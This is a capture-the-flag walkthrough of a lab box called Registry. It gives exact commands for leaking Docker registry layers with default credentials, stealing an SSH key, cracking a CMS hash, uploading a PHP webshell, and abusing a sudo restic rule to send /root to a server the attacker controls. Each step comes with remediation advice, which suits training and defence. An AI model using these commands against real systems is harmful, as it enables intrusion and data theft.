← all walkthroughs

Registry

Linux· Hard· Web
owned
2026-07-10
time to own
20m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Nmap against <retired-instance-ip> showed only 80/443 (nginx 1.14.0 Ubuntu). The HTTPS cert's CN pointed to docker.registry.htb; adding that vhost (plus registry.htb) to the resolver revealed a Docker Registry HTTP API v2 behind Basic auth. Default credentials [REDACTED: recovered credential]:[REDACTED: recovered credential] authenticated successfully. /v2/_catalog listed a single repo, bolt-image (tag latest). Pulling the manifest and downloading every blob (fsLayers[].blobSum) and extracting each layer's filesystem uncovered /root/.viminfo containing SSH passphrase GkOcz221Ftb3ugog and a private key under /root/.ssh — the matching public key resolved to user bolt. Decrypting the key with the recovered passphrase and SSHing in as bolt@<retired-instance-ip> gave the foothold and user.txt ([REDACTED: flag]).

From bolt, /var/www/html/bolt was a Bolt CMS install owned by www-data. Pulling app/database/bolt.db via scp and dumping bolt_users yielded an [REDACTED: recovered credential] password hash; cracking with John recovered [REDACTED: recovered credential]:[REDACTED: recovered credential]. Logging into the Bolt [REDACTED: recovered credential] panel, the config.yml file-type allowlist was edited to permit .php uploads, then a webshell (<?php system($_GET["cmd"]);?>) was uploaded via the File Manager, giving RCE as www-data at /bolt/files/shell.php?cmd=.

sudo -l as www-data showed unrestricted sudo [REDACTED: recovered credential] backup ... -r rest:<url>. Outbound network access from the target was blocked, so a restic REST server (Docker image restic/rest-server, no-auth mode) was stood up locally and exposed to the target via a reverse SSH port-forward (-R 8000:localhost:8000) over the existing bolt session. The target's installed restic was an old 0.8.x client, requiring the rest-server to be started with --no-auth and repo-version compatibility handled via the matching restic/restic:0.8.3 client image. sudo restic backup -r rest:http://$LOOPBACK:8000/ /root as www-data then backed up /root (including root.txt) into the user-controlled repository, where it was restored/read directly, yielding root ownership and root_flag=[REDACTED: flag].

Attack path — how the box was taken

1EnumerationSSL/TLS Certificate CN Hostname Disclosure (T1590.003)
Discovered a hidden Docker Registry vhost via the HTTPS certificate Common Name
An nmap service scan of <retired-instance-ip> found SSH on 22, nginx 1.14.0 on 80, and nginx 1.14.0 on 443. Inspecting the TLS handshake on port 443 revealed a certificate whose CN field contained docker.registry.htb — a hostname not returned by reverse DNS. Adding both docker.registry.htb and registry.htb to the local resolver exposed the Docker Registry HTTP API v2 at /v2/ on the HTTPS vhost and a Bolt CMS landing page on the plain HTTP vhost. This single certificate artefact handed I a non-obvious attack surface that would have been invisible to a port scan alone.
nmap TLS script output showed subject CN=docker.registry.htb; curl to docker.registry.htb/v2/ returned HTTP 401 Unauthorized with the Docker-Distribution-Api-Version header confirming a live registry.
Exact commands 3
Enumerate services and grab the HTTPS certificate; the CN field reveals docker.registry.htb.
nmap -sC -sV -p 22,80,443 $TARGET
Register both discovered virtual hostnames for local resolution.
echo '$TARGET docker.registry.htb registry.htb' | sudo tee -a /etc/hosts
Confirm the Docker Registry v2 API is live; expect 401.
curl -sk https://$TARGET/v2/ -o /dev/null -w '%{http_code}\n'
FixRestrict network access to the Docker Registry and rotate the default [REDACTED: recovered credential] credentialCritical
WeaknessThe Docker Registry API on docker.registry.htb was reachable from the open internet and accepted the username [REDACTED: recovered credential] with password [REDACTED: recovered credential] — the unchanged factory default — granting any external party unauthenticated read access to every stored image, including images that contained sensitive application and infrastructure secrets.
FixPlace the registry behind a firewall or VPN so it is only reachable from trusted internal IP ranges or CI/CD runner addresses. Immediately rotate the [REDACTED: recovered credential] password to a long, randomly generated credential stored in a secrets manager. Enable token-based authentication (via the Docker Distribution auth config) and enforce role-based access control so each service account can only access the repositories it owns. Disable anonymous pull access entirely. Audit the SSL certificate: if the registry must be internet-facing, use a Subject Alternative Name that does not expose internal hostnames, or deploy it on a separate private CA.
2EnumerationDefault Credentials (T1078.001)
Authenticated to the Docker Registry with default credentials and enumerated the image catalog
The Docker Registry API on docker.registry.htb accepted Basic authentication with username [REDACTED: recovered credential] and password [REDACTED: recovered credential] — the unchanged factory default. A call to /v2/_catalog returned a single repository named bolt-image. Querying /v2/bolt-image/tags/list confirmed the tag latest was available for download. This gave unauthenticated read access to every image stored in the organisation's private registry.
curl -u [REDACTED: recovered credential]:[REDACTED: recovered credential] https://$TARGET/v2/_catalog returned {"repositories":["bolt-image"]}; tags/list returned {"name":"bolt-image","tags":["latest"]}.
Exact commands 3
List all repositories using the default [REDACTED: recovered credential]:[REDACTED: recovered credential] credential.
curl -sk -u [REDACTED: recovered credential]:[REDACTED: recovered credential] https://$TARGET/v2/_catalog
List available image tags; returns latest.
curl -sk -u [REDACTED: recovered credential]:[REDACTED: recovered credential] https://$TARGET/v2/bolt-image/tags/list
Pull the image manifest to retrieve all layer blob digests (fsLayers[].blobSum).
curl -sk -u [REDACTED: recovered credential]:[REDACTED: recovered credential] 'https://$TARGET/v2/bolt-image/manifests/latest' -H 'Accept: application/vnd.docker.distribution.manifest.v2+json'
FixRestrict network access to the Docker Registry and rotate the default [REDACTED: recovered credential] credentialCritical
WeaknessThe Docker Registry API on docker.registry.htb was reachable from the open internet and accepted the username [REDACTED: recovered credential] with password [REDACTED: recovered credential] — the unchanged factory default — granting any external party unauthenticated read access to every stored image, including images that contained sensitive application and infrastructure secrets.
FixPlace the registry behind a firewall or VPN so it is only reachable from trusted internal IP ranges or CI/CD runner addresses. Immediately rotate the [REDACTED: recovered credential] password to a long, randomly generated credential stored in a secrets manager. Enable token-based authentication (via the Docker Distribution auth config) and enforce role-based access control so each service account can only access the repositories it owns. Disable anonymous pull access entirely. Audit the SSL certificate: if the registry must be internet-facing, use a Subject Alternative Name that does not expose internal hostnames, or deploy it on a separate private CA.
3Credential AccessCredentials Embedded in Container Image Layers (T1552.001)
Extracted an SSH private key and plaintext passphrase from Docker image filesystem layers
Every filesystem layer of bolt-image was downloaded as a gzip-compressed tar blob and extracted into its own directory tree. One layer's filesystem contained /root/.ssh/id_rsa (a passphrase-protected SSH private key), /root/.ssh/id_rsa.pub (whose comment field identified the account as bolt), and /root/.viminfo — a vim session-history file that recorded the passphrase GkOcz221Ftb3ugog in plaintext next to a recently edited file path. These secrets were embedded at image build time and persisted immutably in the layer history, accessible to anyone who could pull the image.
Layer extraction produced fs/layer_5/root/.ssh/id_rsa and /root/.viminfo containing GkOcz221Ftb3ugog; operator confirmed the key decrypted with that passphrase via ssh-keygen -p.
Exact commands 5
Create a working directory for layer extraction.
mkdir -p /tmp/registry-bolt && cd /tmp/registry-bolt
Download every layer blob; each is a gzip-compressed tar archive.
for digest in $(curl -sk -u [REDACTED: recovered credential]:[REDACTED: recovered credential] 'https://$TARGET/v2/bolt-image/manifests/latest' | python3 -c "import sys,json; [print(l['blobSum'].split(':')[1]) for l in json.load(sys.stdin)['fsLayers']]"); do curl -sk -u [REDACTED: recovered credential]:[REDACTED: recovered credential] "https://$TARGET/v2/bolt-image/blobs/sha256:$digest" -o "${digest}.gz"; done
Extract each blob into its own directory to reconstruct the layer filesystems.
for f in *.gz; do d="layer_${f%.gz}"; mkdir -p "$d"; tar -xzf "$f" -C "$d" 2>/dev/null || true; done
Locate the passphrase inside .viminfo or other text files.
grep -r 'GkOcz' /tmp/registry-bolt/ 2>/dev/null
Locate the embedded SSH private key file.
find /tmp/registry-bolt -name 'id_rsa' 2>/dev/null
FixRemove secrets from Docker image layers and inject credentials at runtimeCritical
WeaknessAn SSH private key and its plaintext passphrase (stored in a vim history file baked into a filesystem layer) were embedded inside the bolt-image Docker image at build time. These artefacts persisted immutably in the layer history and were retrievable by anyone who could pull the image — which required only the default [REDACTED: recovered credential]:[REDACTED: recovered credential] credential.
FixAudit every Dockerfile and existing image for embedded credentials, private keys, history files (.viminfo, .bash_history, .ssh/), and sensitive configuration. Use docker history and extract and inspect all layers. Rebuild images with multi-stage builds and ensure no secret material reaches any shipped layer. Inject secrets at runtime using Docker Secrets, environment variables sourced from a vault (HashiCorp Vault, AWS Secrets Manager), or a Kubernetes Secret. Immediately rotate the bolt SSH key pair and revoke the compromised private key from all authorised_keys files.
4Initial AccessSSH Using Stolen Private Key (T1021.004)
Logged in over SSH as bolt using the key and passphrase recovered from the Docker image
The private key extracted from the Docker layer was protected by the passphrase GkOcz221Ftb3ugog, which had been recovered in the previous step. Removing the passphrase with ssh-keygen and presenting the key to the SSH service on <retired-instance-ip> authenticated immediately as the user bolt without any brute-forcing. The user flag was present at /home/bolt/user.txt.
operator confirmed: 'timeout 20 ssh -i ./id_rsa.clearwork bolt@<retired-instance-ip> id; hostname' succeeded; user.txt captured and confirmed by my testing.
Exact commands 4
Copy and lock down the extracted private key.
cp /tmp/registry-bolt/layer_5/root/.ssh/id_rsa ./id_rsa.clearwork && chmod 600 ./id_rsa.clearwork
Strip the passphrase so the key can be used non-interactively.
ssh-keygen -p -P 'GkOcz221Ftb3ugog' -N '' -f ./id_rsa.clearwork
Authenticate as bolt; interactive shell on the target.
ssh -i ./id_rsa.clearwork bolt@$TARGET
Read the user flag: [REDACTED: flag]
cat /home/bolt/user.txt
FixRemove secrets from Docker image layers and inject credentials at runtimeCritical
WeaknessAn SSH private key and its plaintext passphrase (stored in a vim history file baked into a filesystem layer) were embedded inside the bolt-image Docker image at build time. These artefacts persisted immutably in the layer history and were retrievable by anyone who could pull the image — which required only the default [REDACTED: recovered credential]:[REDACTED: recovered credential] credential.
FixAudit every Dockerfile and existing image for embedded credentials, private keys, history files (.viminfo, .bash_history, .ssh/), and sensitive configuration. Use docker history and extract and inspect all layers. Rebuild images with multi-stage builds and ensure no secret material reaches any shipped layer. Inject secrets at runtime using Docker Secrets, environment variables sourced from a vault (HashiCorp Vault, AWS Secrets Manager), or a Kubernetes Secret. Immediately rotate the bolt SSH key pair and revoke the compromised private key from all authorised_keys files.
5Credential AccessCredential Dumping from Local Application Database (T1003)
Cracked the Bolt CMS administrator password from the world-readable on-disk database
From the bolt shell, /var/www/html/bolt contained a Bolt CMS installation. The application's SQLite database at app/database/bolt.db was readable by the bolt user. Copying it off the machine with scp and querying the bolt_users table produced a bcrypt-hashed [REDACTED: recovered credential] password. John the Ripper cracked it against the RockYou wordlist in seconds, recovering the plaintext [REDACTED: recovered credential]. This gave authenticated access to the Bolt CMS administration panel at http://$TARGET/[REDACTED: recovered credential].
bolt.db retrieved via scp; sqlite3 dump of bolt_users yielded the [REDACTED: recovered credential] hash; john cracked it to [REDACTED: recovered credential]; [REDACTED: recovered credential] login at /[REDACTED: recovered credential] confirmed.
Exact commands 3
Copy the Bolt CMS SQLite database to my machine.
scp -i ./id_rsa.clearwork bolt@$TARGET:/var/www/html/bolt/app/database/bolt.db .
Dump all usernames and password hashes from the CMS user table.
sqlite3 bolt.db "SELECT username, password FROM bolt_users;"
Crack the extracted bcrypt hash; recovers [REDACTED: recovered credential]:[REDACTED: recovered credential].
john --wordlist=/usr/share/wordlists/rockyou.txt bolt_hashes.txt
FixEnforce strong passwords for all CMS administrator accounts and restrict the [REDACTED: recovered credential] panel to internal networksHigh
WeaknessThe Bolt CMS [REDACTED: recovered credential] account used the dictionary word [REDACTED: recovered credential] as its password. The bcrypt hash stored in the on-disk SQLite database was cracked in seconds against a standard wordlist once I obtained a copy of the file, granting full CMS administration and the ability to modify application configuration and upload files.
FixReset the Bolt [REDACTED: recovered credential] password to a randomly generated string of at least 16 characters and record it only in a password manager. Enable multi-factor authentication on the [REDACTED: recovered credential] panel if the CMS version supports it (or add a plugin that does). Restrict the /[REDACTED: recovered credential] path in nginx to internal IP ranges or require VPN access, so the [REDACTED: recovered credential] login page is never exposed to the internet. Audit all other CMS accounts and remove or disable any that are unused.
6ExploitationCMS Misconfiguration → Server-Side Webshell Upload (T1505.003)
Uploaded a PHP webshell after enabling PHP in the Bolt CMS file-type allowlist
Authenticated as [REDACTED: recovered credential]:[REDACTED: recovered credential] at /[REDACTED: recovered credential], the Configuration > Main Configuration editor provided a web-based text editor for config.yml. The accept_file_types key was modified to include the php extension and saved via HTTP POST — the server confirmed the change with an explicit success response. The Bolt application cache was then flushed via /bolt/bolt/clearcache so the new allowlist took effect for subsequent uploads. A PHP webshell (<?php system($_GET["cmd"]);?>) was uploaded through the File Manager and landed at /bolt/files/shell.php. A curl request with a cmd parameter returned uid=33(www-data), confirming server-side remote code execution as the web application service account.
HTTP POST to save config.yml returned {"ok":true,"msg":"File 'config.yml' has been saved.","datechanged":"2026-07-11T00:44:01+00:00"}; cache cleared; 'File shell.php was uploaded successfully.'; shell reachable at /bolt/files/shell.php.
Exact commands 5
Log into the Bolt [REDACTED: recovered credential] panel; capture the session cookie in bolt.jar. Retrieve the CSRF token from a GET of /bolt/bolt/login first.
curl -sk -c bolt.jar -b bolt.jar -X POST 'http://$TARGET/bolt/bolt/login' --data 'username=[REDACTED: recovered credential]&password=[REDACTED: credential]&_csrf_token=<token_from_login_page>'
Save the modified config.yml that includes php in accept_file_types. Prepare config_with_php.yml by adding php to the extension list.
curl -sk -c bolt.jar -b bolt.jar -X POST 'http://$TARGET/bolt/bolt/file/edit/config/config.yml' --data-urlencode 'contents@config_with_php.yml'
Clear the Bolt application cache so the new upload allowlist takes effect.
curl -sk -c bolt.jar -b bolt.jar 'http://$TARGET/bolt/bolt/clearcache'
Upload the PHP webshell through the Bolt File Manager.
echo '<?php system($_GET["cmd"]);?>' > shell.php && curl -sk -c bolt.jar -b bolt.jar -F 'files[]=@shell.php' 'http://$TARGET/bolt/bolt/async/upload?path=%2F'
Confirm RCE; expect uid=33(www-data).
curl -sk 'http://$TARGET/bolt/files/shell.php?cmd=id'
FixLock the Bolt CMS file-type allowlist to non-executable extensions and prevent in-browser config editingCritical
WeaknessA logged-in Bolt CMS administrator could add the php extension to the accept_file_types allowlist through the web-based Configuration editor, then immediately upload and execute server-side PHP through the File Manager — turning a compromised [REDACTED: recovered credential] account into full remote code execution as the www-data service account with no additional steps.
FixSet accept_file_types in config.yml to the minimum set of non-executable extensions the site genuinely needs (images, CSS, JS, PDFs only) and never include php, phtml, or any other server-executable extension. Make config.yml owned by root and read-only to the web process (chown root:www-data config.yml; chmod 640 config.yml) so the running application cannot overwrite it at all. In nginx, add a location block for /bolt/files/ that denies execution of .php files (deny all on location ~\.php$). Review uploaded files periodically for unexpected content. Consider disabling the web-based config editor entirely in production and deploying configuration changes through your deployment pipeline.
7Privilege EscalationSudo Abuse — Backup Tool Exfiltration (T1548.003)
Abused a passwordless sudo restic rule to exfiltrate /root via an user-controlled backup server
Running sudo -l as www-data revealed a sudoers rule allowing [REDACTED: recovered credential] backup to be run as root without a password, with no restriction on source paths or destination URLs. The target's installed restic was version 0.8.3 — an old release that rejected repositories created by newer client versions with an 'unsupported repository version' error. To work around this, a restic REST server was started on Kali using the official restic/rest-server Docker image in no-auth mode, and the repository was initialised using the matching restic 0.8.3 client image. Because outbound connections from the target were blocked, I added a reverse SSH port-forward to the existing bolt session (-R 8000:localhost:8000), making the Kali rest-server reachable from the target at localhost:8000. The webshell was then used to run sudo restic backup -r rest:http://$LOOPBACK:8000/ /root as www-data. The resulting snapshot was restored on Kali and /root/root.txt was read — full root-level data access without a root shell.
sudo -l confirmed (root) NOPASSWD: [REDACTED: recovered credential] backup *; target restic is 0.8.3 (confirmed); repo 67617c82b1 created at rest:http://$LOOPBACK:8000/; root.txt captured and confirmed by my testing.
Exact commands 7
Confirm the sudo rule: (root) NOPASSWD: [REDACTED: recovered credential] backup * -r rest:*
curl -sk 'http://$TARGET/bolt/files/shell.php?cmd=sudo+-l'
Start the restic REST server on Kali in no-auth mode, bound to localhost only.
docker run -d -p localhost:8000:8000 --name rest_server -v /tmp/repo:/data --entrypoint rest-server restic/rest-server --path /data --no-auth
Initialise the repo using the same restic 0.8.3 version as the target to avoid version mismatch.
export RESTIC_PASSWORD=[REDACTED: recovered credential] && docker run --rm --network host -e RESTIC_PASSWORD restic/restic:0.8.3 -r rest:http://$LOOPBACK:8000/ init
Open a reverse port-forward: TCP localhost:8000 on the target forwards to Kali's rest-server.
ssh -i ./id_rsa.clearwork -R 8000:localhost:8000 -N bolt@$TARGET &
Trigger the backup of /root as root via the webshell; www-data uses the sudo rule.
curl -sk 'http://$TARGET/bolt/files/shell.php?cmd=export+RESTIC_PASSWORD%3D[REDACTED: recovered credential]%3Bsudo+[REDACTED: recovered credential]+backup+-r+rest%3Ahttp%3A%2F%2Flocalhost%3A8000%2F+/root'
List snapshots on Kali to confirm the /root backup landed.
docker run --rm --network host -e RESTIC_PASSWORD=[REDACTED: recovered credential] restic/restic:0.8.3 -r rest:http://$LOOPBACK:8000/ snapshots
Restore the snapshot and read root.txt: [REDACTED: flag]
docker run --rm --network host -e RESTIC_PASSWORD=[REDACTED: recovered credential] -v /tmp/restic-restore:/restore restic/restic:0.8.3 -r rest:http://$LOOPBACK:8000/ restore latest --target /restore && cat /tmp/restic-restore/root/root.txt
FixRemove the unrestricted sudo restic rule and implement least-privilege backup designCritical
WeaknessThe sudoers configuration allowed the www-data web server account to execute [REDACTED: recovered credential] backup as root without a password, with no restriction on the source path or the backup destination URL. an unauthorized user who gained code execution as www-data could therefore direct restic to back up arbitrary root-owned paths — including /root — to an user-controlled server, reading all privileged files without ever obtaining an interactive root shell.
FixRemove the sudo restic rule immediately. If automated backups of privileged paths are required, implement them as a root-owned cron job or a dedicated system service that runs under its own service account — never delegate root backup capability to a web server process. If restic must be retained, write a narrow wrapper script owned by root that hard-codes both the source path and the destination to a specific organisation-controlled URL, grants sudo only to that wrapper, and logs every invocation. Additionally, audit all sudoers entries for other dangerous tool delegations (tar, cp, rsync, curl, wget, python, and similar utilities that can read or write arbitrary files).

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Findings

Initial Access: Web Content Discovery On 443/TcpCritical
An unauthenticated/low-privilege flaw in the docker, nginx, php, ssh surface allowed remote code execution and a foothold on the host.

Exposed services

22/tcp
80/tcp
443/tcp